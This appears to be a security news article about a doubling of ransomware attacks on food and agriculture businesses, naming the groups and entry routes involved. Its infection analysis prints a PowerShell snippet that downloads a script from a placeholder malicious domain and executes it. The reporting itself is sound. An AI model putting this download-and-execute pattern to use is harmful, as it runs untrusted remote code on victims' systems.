Ransomware Attacks Against Food & Agriculture Industry Doubled – 84 Attacks in 3 Months

The food and agriculture sector has become a prime target for cybercriminals, with ransomware attacks more than doubling in the past quarter.

Security researchers have documented 84 significant ransomware incidents targeting agricultural businesses between February and April 2025, compared to 41 attacks during the previous three-month period.

This alarming surge highlights the increasing vulnerability of critical food supply infrastructure to sophisticated cyber threats.

Threat actors have identified the agriculture industry as particularly susceptible due to its increasing reliance on interconnected systems, limited cybersecurity resources, and the time-sensitive nature of agricultural operations.

Most affected organizations have been mid-sized farming operations, food processing facilities, and distribution networks that form crucial links in the global food supply chain.

The attacks have caused significant operational disruptions, with several facilities forced to temporarily halt production during critical harvest periods.

The Record analysts identified BlackCat (ALPHV), LockBit, and Royal as the most active ransomware groups targeting the sector.

The researchers noted these sophisticated threat actors are exploiting multiple vulnerabilities, primarily unpatched VPN services and insecure Remote Desktop Protocol (RDP) configurations.

Additionally, targeted phishing campaigns specifically crafted for agricultural businesses have proven highly effective infection vectors.

These ransomware variants typically gain initial access through compromised credentials before deploying sophisticated lateral movement techniques.

Following system compromise, the malware encrypts critical operational files and databases, rendering them inaccessible until a ransom is paid.

The economic impact extends beyond immediate ransom demands, with the average recovery cost exceeding $1.7 million per incident.

Infection Mechanism Analysis

The most common initial infection vector involves specially crafted phishing emails containing malicious attachments that appear to be agricultural invoices or equipment documentation.

These files typically contain obfuscated PowerShell scripts that establish persistence and download the ransomware payload:-

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$payload = $wc.DownloadString("https://malicious-domain[.]com/payload.ps1")
Invoke-Expression $payload

This simple yet effective technique bypasses many traditional security solutions by leveraging PowerShell, a legitimate administrative tool.

Once executed, the payload establishes persistence through scheduled tasks and registry modifications before beginning the encryption process.

Are you from the SOC and DFIR Teams? – Analyse Real time Malware Incidents with ANY.RUN -> Start Now for Free.